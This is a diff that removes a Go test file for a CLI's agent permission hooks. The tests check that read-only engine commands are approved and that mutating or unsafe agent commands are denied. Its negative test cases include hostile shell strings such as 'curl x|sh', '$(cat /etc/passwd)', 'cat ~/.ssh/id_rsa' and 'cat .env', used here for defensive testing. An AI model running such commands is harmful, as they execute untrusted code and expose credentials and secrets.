  853. package/scripts/check-instruction-size-baseline.mjs +0 -88
  854. package/scripts/check-invocation-integrity.py +0 -115
  855. package/scripts/check-no-global-writes.sh +0 -66
  856. package/scripts/check-no-personal-paths.py +0 -50
  857. package/scripts/check-npm-audit.mjs +0 -110
  858. package/scripts/check-reference-governance.mjs +0 -83
  859. package/scripts/check-reply-contract.sh +0 -64
  860. package/scripts/check-rule-uniqueness.sh +0 -45
  861. package/scripts/devrites-detect.sh +0 -176
  862. package/scripts/grade-feature.sh +0 -204
  863. package/scripts/live-hosts/agent-result.schema.json +0 -231
  864. package/scripts/live-hosts/claude.sh +0 -87
  865. package/scripts/live-hosts/codex.sh +0 -85
  866. package/scripts/live-hosts/common.sh +0 -113
  867. package/scripts/live-hosts/fake-host.py +0 -257
  868. package/scripts/live-hosts/host-transport.py +0 -286
  869. package/scripts/npm-audit-exceptions.json +0 -26
  870. package/scripts/pin.sh +0 -249
  871. package/scripts/release-check.sh +0 -75
  872. package/scripts/run-agent-contract-evals.py +0 -1380
  873. package/scripts/run-behavioral-evals.sh +0 -196
  874. package/scripts/run-evals.sh +0 -132
  875. package/scripts/run-live-behavioral-evals.py +0 -1310
  876. package/scripts/run-outcome-evals.sh +0 -454
  877. package/scripts/run-routing-evals.py +0 -342
  878. package/scripts/run-tests.mjs +0 -232
  879. package/scripts/scan-pack-security.py +0 -209
  880. package/scripts/scan-supply-chain-iocs.py +0 -127
  881. package/scripts/skill-pruning-audit.mjs +0 -121
  882. package/scripts/skills-inventory.mjs +0 -125
  883. package/scripts/supply-chain-iocs.json +0 -11
  884. package/scripts/sync-version.sh +0 -54
  885. package/scripts/validate-agent-composition.py +0 -57
  886. package/scripts/validate-command-parity.py +0 -70
  887. package/scripts/validate-frontmatter.py +0 -218
  888. package/scripts/validate-skill-anatomy.py +0 -139
  889. package/scripts/validate-workflow-security.py +0 -184
  890. package/scripts/validate-workspace-schema.py +0 -800
  891. package/scripts/validate.sh +0 -354
  892. package/scripts/workflow_schema.py +0 -69
  893. /package/engine/testdata/fixtures/basic/devrites-root/{features → work}/auth-tokens/decisions.md +0 -0
  894. /package/engine/testdata/fixtures/basic/devrites-root/{features → work}/auth-tokens/plan.md +0 -0
  895. /package/engine/testdata/fixtures/basic/devrites-root/{features → work}/auth-tokens/spec.md +0 -0
  896. /package/engine/testdata/fixtures/basic/devrites-root/{features → work}/auth-tokens/tasks.md +0 -0
  897. /package/engine/testdata/fixtures/basic/devrites-root/{features → work}/search-ranking/spec.md +0 -0
@@ -1,2732 +0,0 @@
1
- package main_test
2
-
3
- // CLI coverage for Issue 03's dual-harness `hook orient` behavior and Issue 04's
4
- // `hook stop-gate`. These tests run the binary against a fixture workspace and
5
- // check stdout and exit status. parity_test.go owns the parity oracle.
6
-
7
- import (
8
- "bytes"
9
- "crypto/sha256"
10
- "encoding/hex"
11
- "encoding/json"
12
- "fmt"
13
- "os"
14
- "path/filepath"
15
- "strconv"
16
- "strings"
17
- "testing"
18
- "time"
19
- )
20
-
21
- // writeActive points the workspace's ACTIVE pointer at slug.
22
- func writeActive(t *testing.T, root, slug string) {
23
- t.Helper()
24
- if err := os.WriteFile(filepath.Join(root, "ACTIVE"), []byte(slug+"\n"), 0o644); err != nil {
25
- t.Fatal(err)
26
- }
27
- }
28
-
29
- // parseAdditionalContext decodes a SessionStart hook envelope and returns the
30
- // injected additionalContext, failing the test if the shape is wrong.
31
- func parseAdditionalContext(t *testing.T, stdout string) string {
32
- t.Helper()
33
- var env struct {
34
- HookSpecificOutput struct {
35
- HookEventName string `json:"hookEventName"`
36
- AdditionalContext string `json:"additionalContext"`
37
- } `json:"hookSpecificOutput"`
38
- }
39
- if err := json.Unmarshal([]byte(strings.TrimSpace(stdout)), &env); err != nil {
40
- t.Fatalf("stdout is not a valid hook envelope: %v\n%s", err, stdout)
41
- }
42
- if env.HookSpecificOutput.HookEventName != "SessionStart" {
43
- t.Errorf("hookEventName = %q, want SessionStart", env.HookSpecificOutput.HookEventName)
44
- }
45
- return env.HookSpecificOutput.AdditionalContext
46
- }
47
-
48
- func TestHookOrientActiveFeatureEmitsDigest(t *testing.T) {
49
- for _, h := range []string{"claude", "codex"} {
50
- h := h
51
- t.Run(h, func(t *testing.T) {
52
- root := newWorkspace(t)
53
- writeActive(t, root, "auth-tokens")
54
- out, errOut, code := runDevrites(t, root, "hook", "orient", "--harness="+h)
55
- if code != 0 {
56
- t.Fatalf("exit = %d, want 0 (stderr: %s)", code, errOut)
57
- }
58
- ctx := parseAdditionalContext(t, out)
59
- for _, want := range []string{
60
- `feature "auth-tokens"`,
61
- "phase: build",
62
- "result: incomplete (missing: tasks)",
63
- "host-specific DevRites command",
64
- } {
65
- if !strings.Contains(ctx, want) {
66
- t.Errorf("additionalContext missing %q\n--- got ---\n%s", want, ctx)
67
- }
68
- }
69
- })
70
- }
71
- }
72
-
73
- func TestHookOrientNoActiveFeatureNudgesOnceThenSilent(t *testing.T) {
74
- root := newWorkspace(t) // fixture has no ACTIVE pointer
75
- out, errOut, code := runDevrites(t, root, "hook", "orient", "--harness=claude")
76
- if code != 0 {
77
- t.Fatalf("exit = %d, want 0 (stderr: %s)", code, errOut)
78
- }
79
- ctx := parseAdditionalContext(t, out)
80
- if !strings.Contains(ctx, "no feature is active") || !strings.Contains(ctx, "/rite") {
81
- t.Errorf("first blank-slate session should nudge a starting rite, got %q", ctx)
82
- }
83
- if _, err := os.Stat(filepath.Join(root, ".first-run-shown")); err != nil {
84
- t.Fatalf("first-run marker not written: %v", err)
85
- }
86
- out, errOut, code = runDevrites(t, root, "hook", "orient", "--harness=claude")
87
- if code != 0 {
88
- t.Fatalf("second run exit = %d, want 0 (stderr: %s)", code, errOut)
89
- }
90
- if strings.TrimSpace(out) != "" {
91
- t.Errorf("second run stdout = %q, want silent once the marker exists", out)
92
- }
93
- }
94
-
95
- func TestHookOrientStaleActivePointerIsSilent(t *testing.T) {
96
- root := newWorkspace(t)
97
- writeActive(t, root, "does-not-exist")
98
- out, _, code := runDevrites(t, root, "hook", "orient", "--harness=claude")
99
- if code != 0 {
100
- t.Fatalf("exit = %d, want 0 (a stale pointer must not wedge the session)", code)
101
- }
102
- if strings.TrimSpace(out) != "" {
103
- t.Errorf("stdout = %q, want silent for a stale ACTIVE pointer", out)
104
- }
105
- }
106
-
107
- func TestHookOrientNonDevRitesDirIsSilent(t *testing.T) {
108
- // Point at a directory with no .devrites: fail-open: silent, exit 0.
109
- empty := t.TempDir()
110
- out, _, code := runDevrites(t, empty, "hook", "orient", "--harness=claude")
111
- if code != 0 {
112
- t.Fatalf("exit = %d, want 0 outside a DevRites workspace", code)
113
- }
114
- if strings.TrimSpace(out) != "" {
115
- t.Errorf("stdout = %q, want silent outside a workspace", out)
116
- }
117
- }
118
-
119
- func TestHookUnknownHarnessExitsUsage(t *testing.T) {
120
- root := newWorkspace(t)
121
- _, errOut, code := runDevrites(t, root, "hook", "orient", "--harness=bogus")
122
- if code != 2 {
123
- t.Fatalf("exit = %d, want 2 for an unknown harness", code)
124
- }
125
- if !strings.Contains(errOut, "unknown harness") {
126
- t.Errorf("stderr = %q, want it to name the unknown harness", errOut)
127
- }
128
- }
129
-
130
- func TestHookMissingHarnessExitsUsage(t *testing.T) {
131
- root := newWorkspace(t)
132
- if _, _, code := runDevrites(t, root, "hook", "orient"); code != 2 {
133
- t.Fatalf("exit = %d, want 2 when --harness is absent", code)
134
- }
135
- }
136
-
137
- // --- Issue 09: allow ---
138
-
139
- func TestHookAllowApprovesReadonlySubcommand(t *testing.T) {
140
- root := newWorkspace(t)
141
- for _, cmd := range []string{
142
- "devrites-engine preamble auth-tokens",
143
- "devrites-engine progress",
144
- "devrites-engine readiness auth-tokens",
145
- "devrites-engine evidence-fresh",
146
- "devrites-engine check-acceptance .devrites/work/auth-tokens",
147
- "devrites-engine doubt-coverage auth-tokens",
148
- "devrites-engine footprint roster auth-tokens",
149
- "devrites-engine footprint render auth-tokens",
150
- "devrites-engine ledger diff .devrites/work/auth-tokens",
151
- "devrites-engine ledger list",
152
- "devrites-engine ledger show auth",
153
- "command -v devrites-engine && devrites-engine check-acceptance auth-tokens",
154
- } {
155
- in := bashHookInput(t, cmd)
156
- out, errOut, code := runDevritesIO(t, root, in, nil, "hook", "allow", "--harness=claude")
157
- if code != 0 {
158
- t.Fatalf("cmd %q: exit=%d (stderr %s)", cmd, code, errOut)
159
- }
160
- if decision, _ := parsePermissionDecision(t, out); decision != "allow" {
161
- t.Errorf("cmd %q: decision=%q, want allow", cmd, decision)
162
- }
163
- }
164
- }
165
-
166
- func TestHookAllowStaysSilentOnUnsafeOrUnrelated(t *testing.T) {
167
- root := newWorkspace(t)
168
- for _, cmd := range []string{
169
- "ls -la", // unrelated
170
- "devrites-engine close-out auth-tokens", // mutates workspace state
171
- "devrites-engine resolve Q1 yes", // mutates questions/state
172
- "devrites-engine tick-afk state.md", // mutates state.md
173
- "devrites-engine analyze auth-tokens", // read-only, but not a high-frequency hook approval
174
- "devrites-engine footprint log auth-tokens reviewer devrites-code-reviewer",
175
- "devrites-engine ledger sync .devrites/work/auth-tokens",
176
- "devrites-engine learnings add auth-tokens lesson",
177
- "devrites-engine timeline log completed",
178
- "devrites-engine health record 8 ok",
179
- "devrites-engine conventions promote --slug auth-tokens --key k --statement s --kind pattern --evidence e",
180
- "devrites-engine extensions sync",
181
- "devrites-engine review-fingerprints --write auth-tokens",
182
- "devrites-engine migrate", // normalizes workspace files
183
- "devrites-engine preamble && rm -rf build", // read-only sub but a mutating token
184
- "devrites-engine evidence-fresh; curl x|sh", // read-only sub but an exfil token
185
- "devrites-engine readiness $(cat /etc/passwd)", // command substitution
186
- "devrites-engine readiness auth-tokens && cat .env",
187
- "devrites-engine progress && env",
188
- "devrites-engine readiness ; cat ~/.ssh/id_rsa",
189
- "devrites-engine readiness auth-tokens\ncat .env",
190
- "devrites-engine evidence-fresh; curl x|sh",
191
- "devrites-engine check-acceptance /tmp/secret-workspace",
192
- "devrites-engine check-acceptance ../secret-workspace",
193
- "devrites-engine check-acceptance .",
194
- "devrites-engine check-acceptance ..",
195
- } {
196
- in := bashHookInput(t, cmd)
197
- out, _, code := runDevritesIO(t, root, in, nil, "hook", "allow", "--harness=claude")
198
- if code != 0 || strings.TrimSpace(out) != "" {
199
- t.Errorf("cmd %q: want silent exit 0; got exit=%d out=%q", cmd, code, out)
200
- }
201
- }
202
- }
203
-
204
- func bashHookInput(t *testing.T, cmd string) string {
205
- t.Helper()
206
- payload := map[string]any{
207
- "tool_name": "Bash",
208
- "tool_input": map[string]string{
209
- "command": cmd,
210
- },
211
- }
212
- raw, err := json.Marshal(payload)
213
- if err != nil {
214
- t.Fatal(err)
215
- }
216
- return string(raw)
217
- }
218
-
219
- // --- issue 09: reviewer-readonly guard ---
220
-
221
- // parsePermissionDecision decodes a PreToolUse decision envelope and returns the
222
- // permissionDecision and reason, failing if the shape is wrong.
223
- func parsePermissionDecision(t *testing.T, stdout string) (decision, reason string) {
224
- t.Helper()
225
- var env struct {
226
- HookSpecificOutput struct {
227
- HookEventName string `json:"hookEventName"`
228
- PermissionDecision string `json:"permissionDecision"`
229
- PermissionDecisionReason string `json:"permissionDecisionReason"`
230
- } `json:"hookSpecificOutput"`
231
- }
232
- if err := json.Unmarshal([]byte(strings.TrimSpace(stdout)), &env); err != nil {
233
- t.Fatalf("stdout is not a valid PreToolUse decision: %v\n%s", err, stdout)
234
- }
235
- if env.HookSpecificOutput.HookEventName != "PreToolUse" {
236
- t.Errorf("hookEventName = %q, want PreToolUse", env.HookSpecificOutput.HookEventName)
237
- }
238
- return env.HookSpecificOutput.PermissionDecision, env.HookSpecificOutput.PermissionDecisionReason
239
- }
240
-
241
- func parseStopDecision(t *testing.T, stdout string) (decision, reason string) {
242
- t.Helper()
243
- var env struct {
244
- Decision string `json:"decision"`
245
- Reason string `json:"reason"`
246
- }
247
- if err := json.Unmarshal([]byte(strings.TrimSpace(stdout)), &env); err != nil {
248
- t.Fatalf("stdout is not a valid Stop decision: %v\n%s", err, stdout)
249
- }
250
- return env.Decision, env.Reason
251
- }
252
-
253
- func TestHookReviewerReadonlyEnforceDeniesMutatingBash(t *testing.T) {
254
- for _, h := range []string{"claude", "codex"} {
255
- h := h
256
- t.Run(h, func(t *testing.T) {
257
- root := newWorkspace(t)
258
- in := `{"tool_name":"Bash","tool_input":{"command":"rm -rf build"}}`
259
- out, errOut, code := runDevritesIO(t, root, in, []string{"DEVRITES_REVIEWER_RO=enforce"},
260
- "hook", "reviewer-readonly", "--harness="+h)
261
- if code != 0 {
262
- t.Fatalf("exit = %d, want 0 (stderr: %s)", code, errOut)
263
- }
264
- decision, reason := parsePermissionDecision(t, out)
265
- if decision != "deny" {
266
- t.Errorf("permissionDecision = %q, want deny", decision)
267
- }
268
- if !strings.Contains(reason, "reviewers are read-only") {
269
- t.Errorf("reason %q missing the read-only explanation", reason)
270
- }
271
- })
272
- }
273
- }
274
-
275
- func TestHookReviewerReadonlyAllowsSafeBash(t *testing.T) {
276
- root := newWorkspace(t)
277
- for _, command := range []string{
278
- "grep -rn foo .",
279
- `cd "` + filepath.Dir(root) + `" && git diff --binary --full-index --no-renames HEAD HEAD --`,
280
- } {
281
- in := hookPayload(t, map[string]any{
282
- "tool_name": "Bash",
283
- "tool_input": map[string]any{"command": command},
284
- })
285
- out, _, code := runDevritesIO(t, root, in, []string{"DEVRITES_REVIEWER_RO=enforce"},
286
- "hook", "reviewer-readonly", "--harness=claude")
287
- if code != 0 {
288
- t.Fatalf("%q exit = %d, want 0", command, code)
289
- }
290
- if strings.TrimSpace(out) != "" {
291
- t.Errorf("%q stdout = %q, want silent for a read-only command", command, out)
292
- }
293
- }
294
- }
295
-
296
- func TestHookReviewerReadonlyRejectsWriteCapableInspectionFlags(t *testing.T) {
297
- root := newWorkspace(t)
298
- env := []string{
299
- "DEVRITES_AGENT_RUN=1",
300
- "DEVRITES_ACTIVE_AGENT=devrites-code-reviewer",
301
- }
302
- for _, command := range []string{
303
- "sed --in-place=.bak s/a/b/ src/app.go",
304
- "sort -o src/app.go input.txt",
305
- "find . -fls src/index.txt",
306
- "git diff --output=src/diff.txt",
307
- } {
308
- in := hookPayload(t, map[string]any{
309
- "tool_name": "Bash",
310
- "tool_input": map[string]any{"command": command},
311
- })
312
- out, errOut, code := runDevritesIO(t, root, in, env,
313
- "hook", "reviewer-readonly", "--harness=codex")
314
- if code != 0 {
315
- t.Fatalf("%q exit=%d stderr=%q", command, code, errOut)
316
- }
317
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
318
- t.Errorf("write-capable inspection command was not denied: %q", command)
319
- }
320
- }
321
- }
322
-
323
- func TestHookReviewerReadonlyNonBashIsSilent(t *testing.T) {
324
- root := newWorkspace(t)
325
- in := `{"tool_name":"Read","tool_input":{"file_path":"secret.txt"}}`
326
- out, _, code := runDevritesIO(t, root, in, []string{"DEVRITES_REVIEWER_RO=enforce"},
327
- "hook", "reviewer-readonly", "--harness=claude")
328
- if code != 0 || strings.TrimSpace(out) != "" {
329
- t.Errorf("want silent exit 0 for a non-Bash tool; got exit=%d out=%q", code, out)
330
- }
331
- }
332
-
333
- // In observe mode (the default) a mutating command is allowed but recorded, so the
334
- // invariant is visible without gating in-progress work.
335
- func TestHookReviewerReadonlyObserveLogsWouldBlock(t *testing.T) {
336
- root := newWorkspace(t)
337
- writeActive(t, root, "auth-tokens")
338
- in := `{"tool_name":"Bash","tool_input":{"command":"git push origin main"}}`
339
- out, _, code := runDevritesIO(t, root, in, nil, // no enforce env → observe
340
- "hook", "reviewer-readonly", "--harness=claude")
341
- if code != 0 {
342
- t.Fatalf("exit = %d, want 0", code)
343
- }
344
- if strings.TrimSpace(out) != "" {
345
- t.Errorf("stdout = %q, want silent in observe mode", out)
346
- }
347
- logPath := filepath.Join(root, "features", "auth-tokens", ".reviewer-ro.log")
348
- raw, err := os.ReadFile(logPath)
349
- if err != nil {
350
- t.Fatalf("observe mode did not write the would-block log: %v", err)
351
- }
352
- if !strings.Contains(string(raw), "WOULD-BLOCK") || !strings.Contains(string(raw), "git push") {
353
- t.Errorf("log = %q, want a WOULD-BLOCK record naming the command", raw)
354
- }
355
- }
356
-
357
- // The bash hook's `read -r tool cmd agent_type` truncates the command at its
358
- // first newline, so it only ever scans line 1: a latent bug. The Go port scans
359
- // the whole command, so a mutating LATER line is denied. This asserts the
360
- // deliberate hardening (documented on reviewerMutateRe); it is a Go-only test, not
361
- // a parity case, because it is where the two are meant to diverge.
362
- func TestHookReviewerReadonlyScansWholeMultilineCommand(t *testing.T) {
363
- root := newWorkspace(t)
364
- in := "{\"tool_name\":\"Bash\",\"tool_input\":{\"command\":\"cat notes.txt\\nsed -i s/a/b/ f\"}}"
365
- out, errOut, code := runDevritesIO(t, root, in, []string{"DEVRITES_REVIEWER_RO=enforce"},
366
- "hook", "reviewer-readonly", "--harness=claude")
367
- if code != 0 {
368
- t.Fatalf("exit = %d, want 0 (stderr: %s)", code, errOut)
369
- }
370
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
371
- t.Errorf("a multi-line command whose 2nd line mutates was not denied; decision = %q", decision)
372
- }
373
- }
374
-
375
- // The agent-required gate reads only agent_type, matching the Bash hook's Node
376
- // parser. A payload that carries the subagent name under subagent_type but not
377
- // agent_type has no identity and is allowed, avoiding a false deny from aliases.
378
- func TestHookReviewerReadonlyAgentRequiredIgnoresSubagentTypeAlias(t *testing.T) {
379
- root := newWorkspace(t)
380
- in := `{"tool_name":"Bash","tool_input":{"command":"rm -rf x"},"subagent_type":"devrites-code-reviewer"}`
381
- out, _, code := runDevritesIO(t, root, in,
382
- []string{"DEVRITES_REVIEWER_RO=enforce", "DEVRITES_REVIEWER_AGENT_REQUIRED=1"},
383
- "hook", "reviewer-readonly", "--harness=claude")
384
- if code != 0 || strings.TrimSpace(out) != "" {
385
- t.Errorf("want silent allow (no agent_type identity); got exit=%d out=%q", code, out)
386
- }
387
- }
388
-
389
- func TestHookReviewerReadonlyAgentRequiredSkipsNonDevrites(t *testing.T) {
390
- root := newWorkspace(t)
391
- // A mutating command from a non-devrites agent is not the reviewer hook's
392
- // concern when agent identity is required.
393
- in := `{"tool_name":"Bash","tool_input":{"command":"rm -rf x"},"agent_type":"Explore"}`
394
- out, _, code := runDevritesIO(t, root, in,
395
- []string{"DEVRITES_REVIEWER_RO=enforce", "DEVRITES_REVIEWER_AGENT_REQUIRED=1"},
396
- "hook", "reviewer-readonly", "--harness=claude")
397
- if code != 0 || strings.TrimSpace(out) != "" {
398
- t.Errorf("want silent exit 0 for a non-devrites agent; got exit=%d out=%q", code, out)
399
- }
400
- }
401
-
402
- func TestHookReviewerReadonlyBindsCodexExplorerCompatibility(t *testing.T) {
403
- root := newWorkspace(t)
404
- in := `{"tool_name":"Edit","tool_input":{"file_path":"src/app.go"},"agent_type":"explorer"}`
405
- out, errOut, code := runDevritesIO(t, root, in,
406
- []string{"DEVRITES_CODEX_GENERIC_AGENT_COMPAT=1"},
407
- "hook", "reviewer-readonly", "--harness=codex")
408
- if code != 0 {
409
- t.Fatalf("exit=%d stderr=%q", code, errOut)
410
- }
411
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
412
- t.Fatalf("generic explorer mutation was not denied: %q", out)
413
- }
414
- }
415
-
416
- func TestCodexGenericCompatibilityDoesNotShadowRoot(t *testing.T) {
417
- root := newWorkspace(t)
418
- in := `{"tool_name":"Edit","tool_input":{"file_path":"src/app.go"}}`
419
- env := []string{
420
- "DEVRITES_CODEX_GENERIC_AGENT_COMPAT=1",
421
- "DEVRITES_HOOK_PROFILE=strict",
422
- }
423
- for _, guard := range []string{"reviewer-readonly", "wright-scope"} {
424
- out, errOut, code := runDevritesIO(t, root, in, env,
425
- "hook", guard, "--harness=codex")
426
- if code != 0 || strings.TrimSpace(out) != "" {
427
- t.Fatalf("%s shadowed root: exit=%d out=%q stderr=%q", guard, code, out, errOut)
428
- }
429
- }
430
- }
431
-
432
- func TestCodexRootRunsArtifactGatesInsideActiveWindow(t *testing.T) {
433
- root := newWorkspace(t)
434
- writeActive(t, root, "auth-tokens")
435
- workspace := filepath.Join(root, "features", "auth-tokens")
436
- if err := os.WriteFile(filepath.Join(workspace, ".reconcile-base"), []byte("snapshot\n"), 0o600); err != nil {
437
- t.Fatal(err)
438
- }
439
- env := []string{
440
- "DEVRITES_CODEX_GENERIC_AGENT_COMPAT=1",
441
- "DEVRITES_HOOK_PROFILE=strict",
442
- }
443
- for _, command := range []string{
444
- "npm run build",
445
- "npm run test:e2e -- tests/admin-locations.e2e.spec.ts",
446
- } {
447
- in := fmt.Sprintf(`{"tool_name":"Bash","tool_input":{"command":%q}}`, command)
448
- out, errOut, code := runDevritesIO(t, root, in, env,
449
- "hook", "wright-scope", "--harness=codex")
450
- if code != 0 || strings.TrimSpace(out) != "" {
451
- t.Fatalf("%q should be root-owned: exit=%d out=%q stderr=%q", command, code, out, errOut)
452
- }
453
- }
454
-
455
- in := `{"tool_name":"Bash","tool_input":{"command":"printf x > src/app.go"}}`
456
- out, errOut, code := runDevritesIO(t, root, in, env,
457
- "hook", "wright-scope", "--harness=codex")
458
- if code != 0 {
459
- t.Fatalf("source write guard exit=%d stderr=%q", code, errOut)
460
- }
461
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
462
- t.Fatalf("root source mutation was not denied: %q", out)
463
- }
464
- }
465
-
466
- func TestHookReviewerReadonlyActiveLeafDeniesEveryMutationSurface(t *testing.T) {
467
- root := newWorkspace(t)
468
- env := []string{
469
- "DEVRITES_AGENT_RUN=1",
470
- "DEVRITES_ACTIVE_AGENT=devrites-code-reviewer",
471
- }
472
- for _, input := range []string{
473
- `{"tool_name":"Edit","tool_input":{"file_path":"src/app.go"}}`,
474
- `{"tool_name":"apply_patch","tool_input":{"command":"*** Begin Patch\n*** Add File: src/app.go\n+x\n*** End Patch"}}`,
475
- `{"tool_name":"Bash","tool_input":{"command":"printf x > src/app.go"}}`,
476
- `{"tool_name":"spawn_agent","tool_input":{"message":"do work"}}`,
477
- `{"tool_name":"exec","tool_input":{"code":"writeFile()"}}`,
478
- } {
479
- out, errOut, code := runDevritesIO(t, root, input, env,
480
- "hook", "reviewer-readonly", "--harness=codex")
481
- if code != 0 {
482
- t.Fatalf("exit=%d stderr=%q for %s", code, errOut, input)
483
- }
484
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
485
- t.Errorf("mutation surface was not denied: %s", input)
486
- }
487
- }
488
- }
489
-
490
- func TestHookReviewerReadonlyActiveLeafAllowsBoundedProof(t *testing.T) {
491
- root := newWorkspace(t)
492
- env := []string{
493
- "DEVRITES_AGENT_RUN=1",
494
- "DEVRITES_ACTIVE_AGENT=devrites-proof-runner",
495
- }
496
- for _, command := range []string{
497
- "go test ./... -count=1",
498
- "command -v devrites-engine",
499
- "devrites-engine conventions orient",
500
- "devrites-engine learnings mine",
501
- } {
502
- in := fmt.Sprintf(`{"tool_name":"Bash","tool_input":{"command":%q}}`, command)
503
- out, _, code := runDevritesIO(t, root, in, env,
504
- "hook", "reviewer-readonly", "--harness=claude")
505
- if code != 0 || strings.TrimSpace(out) != "" {
506
- t.Fatalf("%q should be allowed: exit=%d out=%q", command, code, out)
507
- }
508
- }
509
- in := `{"tool_name":"Bash","tool_input":{"command":"go test ./... -count=1"}}`
510
- out, _, code := runDevritesIO(t, root, in, env,
511
- "hook", "wright-scope", "--harness=claude")
512
- if code != 0 || strings.TrimSpace(out) != "" {
513
- t.Fatalf("wright hook must not shadow reviewer policy: exit=%d out=%q", code, out)
514
- }
515
- }
516
-
517
- func TestHookReviewerReadonlyProofRunnerKeepsArtifactProofRootOwned(t *testing.T) {
518
- root := newWorkspace(t)
519
- env := []string{
520
- "DEVRITES_AGENT_RUN=1",
521
- "DEVRITES_ACTIVE_AGENT=devrites-proof-runner",
522
- }
523
- for _, command := range []string{
524
- "npm run build",
525
- "npm run test:e2e -- tests/admin-locations.e2e.spec.ts",
526
- "go build ./...",
527
- "bash scripts/mutate-repository.sh",
528
- "npm run deploy",
529
- "make deploy",
530
- "docker compose up -d",
531
- "printf x > src/app.go",
532
- "npm install left-pad",
533
- "python -c 'open(\"src/app.go\", \"w\").write(\"x\")'",
534
- } {
535
- in := fmt.Sprintf(`{"tool_name":"Bash","tool_input":{"command":%q}}`, command)
536
- out, errOut, code := runDevritesIO(t, root, in, env,
537
- "hook", "reviewer-readonly", "--harness=claude")
538
- if code != 0 {
539
- t.Fatalf("root-owned proof command guard exit=%d stderr=%q", code, errOut)
540
- }
541
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
542
- t.Fatalf("proof leaf command was not denied: command=%q out=%q", command, out)
543
- }
544
- }
545
- }
546
-
547
- func TestHookRedwatchRecognizesCodexShellAliases(t *testing.T) {
548
- root := newWorkspace(t)
549
- writeActive(t, root, "auth-tokens")
550
- red := filepath.Join(root, "features", "auth-tokens", ".red")
551
-
552
- fail := `{"tool_name":"functions.exec_command","tool_input":{"cmd":"npm test"},"tool_response":"Tests: 1 failed, 3 passed"}`
553
- out, errOut, code := runDevritesIO(t, root, fail, nil,
554
- "hook", "redwatch", "--harness=codex")
555
- if code != 0 {
556
- t.Fatalf("failing exec_command exit=%d stderr=%q", code, errOut)
557
- }
558
- if !strings.Contains(out, "tests/build are RED") {
559
- t.Fatalf("failing exec_command omitted RED context: %q", out)
560
- }
561
- if _, err := os.Stat(red); err != nil {
562
- t.Fatalf("failing exec_command did not create .red: %v", err)
563
- }
564
-
565
- pass := `{"tool_name":"exec_command","tool_input":{"cmd":"npm test"},"tool_response":"PASS: all tests passed"}`
566
- out, errOut, code = runDevritesIO(t, root, pass, nil,
567
- "hook", "redwatch", "--harness=codex")
568
- if code != 0 || strings.TrimSpace(out) != "" {
569
- t.Fatalf("passing exec_command exit=%d out=%q stderr=%q", code, out, errOut)
570
- }
571
- if _, err := os.Stat(red); !os.IsNotExist(err) {
572
- t.Fatalf("passing exec_command retained .red: %v", err)
573
- }
574
- }
575
-
576
- func TestHookWrightScopeUsesExactOrchestratorAllowlist(t *testing.T) {
577
- root := newWorkspace(t)
578
- writeActive(t, root, "auth-tokens")
579
- workspace := filepath.Join(root, "features", "auth-tokens")
580
- if err := os.WriteFile(filepath.Join(workspace, ".wright-allowlist"), []byte("src/app.go\n"), 0o600); err != nil {
581
- t.Fatal(err)
582
- }
583
- env := []string{
584
- "DEVRITES_AGENT_RUN=1",
585
- "DEVRITES_ACTIVE_AGENT=devrites-slice-wright",
586
- }
587
- tests := []struct {
588
- name string
589
- input string
590
- deny bool
591
- }{
592
- {"listed edit", `{"tool_name":"Edit","tool_input":{"file_path":"src/app.go"}}`, false},
593
- {"listed freeform patch", `{"tool_name":"apply_patch","tool_input":"*** Begin Patch\n*** Update File: src/app.go\n@@\n-old\n+new\n*** End Patch\n"}`, false},
594
- {"listed redirect", `{"tool_name":"Bash","tool_input":{"command":"printf x > src/app.go"}}`, false},
595
- {"unlisted edit", `{"tool_name":"Write","tool_input":{"file_path":"src/other.go"}}`, true},
596
- {"substring is not scope", `{"tool_name":"Edit","tool_input":{"file_path":"src/app.go.bak"}}`, true},
597
- {"workspace state forbidden", `{"tool_name":"Edit","tool_input":{"file_path":".devrites/features/auth-tokens/state.md"}}`, true},
598
- {"nested dispatch forbidden", `{"tool_name":"spawn_agent","tool_input":{"message":"do work"}}`, true},
599
- {"dependency install forbidden", `{"tool_name":"Bash","tool_input":{"command":"npm install left-pad"}}`, true},
600
- {"cp target directory forbidden", `{"tool_name":"Bash","tool_input":{"command":"cp --target-directory=/tmp src/app.go"}}`, true},
601
- {"mv target directory forbidden", `{"tool_name":"Bash","tool_input":{"command":"mv --target-directory=/tmp src/app.go"}}`, true},
602
- }
603
- for _, test := range tests {
604
- t.Run(test.name, func(t *testing.T) {
605
- out, errOut, code := runDevritesIO(t, root, test.input, env,
606
- "hook", "wright-scope", "--harness=codex")
607
- if code != 0 {
608
- t.Fatalf("exit=%d stderr=%q", code, errOut)
609
- }
610
- if test.deny {
611
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
612
- t.Fatalf("expected deny, got %q", out)
613
- }
614
- } else if strings.TrimSpace(out) != "" {
615
- t.Fatalf("expected allow, got %q", out)
616
- }
617
- })
618
- }
619
- }
620
-
621
- func TestHookWrightScopeRequiresBoundCodexWorkerDuringReconcileWindow(t *testing.T) {
622
- root := newWorkspace(t)
623
- writeActive(t, root, "auth-tokens")
624
- workspace := filepath.Join(root, "features", "auth-tokens")
625
- if err := os.WriteFile(filepath.Join(workspace, ".wright-allowlist"), []byte("src/app.go\n"), 0o600); err != nil {
626
- t.Fatal(err)
627
- }
628
- if err := os.WriteFile(filepath.Join(workspace, ".reconcile-base"), []byte("snapshot\n"), 0o600); err != nil {
629
- t.Fatal(err)
630
- }
631
- env := []string{"DEVRITES_CODEX_GENERIC_AGENT_COMPAT=1", "DEVRITES_HOOK_PROFILE=strict"}
632
-
633
- for _, test := range []struct {
634
- name string
635
- input string
636
- deny bool
637
- }{
638
- {"unbound listed edit", `{"tool_name":"Edit","tool_input":{"file_path":"src/app.go"},"agent_type":"worker"}`, true},
639
- {"unlisted edit", `{"tool_name":"Edit","tool_input":{"file_path":"src/other.go"},"agent_type":"worker"}`, true},
640
- } {
641
- t.Run(test.name, func(t *testing.T) {
642
- out, errOut, code := runDevritesIO(t, root, test.input, env,
643
- "hook", "wright-scope", "--harness=codex")
644
- if code != 0 {
645
- t.Fatalf("exit=%d stderr=%q", code, errOut)
646
- }
647
- if test.deny {
648
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
649
- t.Fatalf("expected deny, got %q", out)
650
- }
651
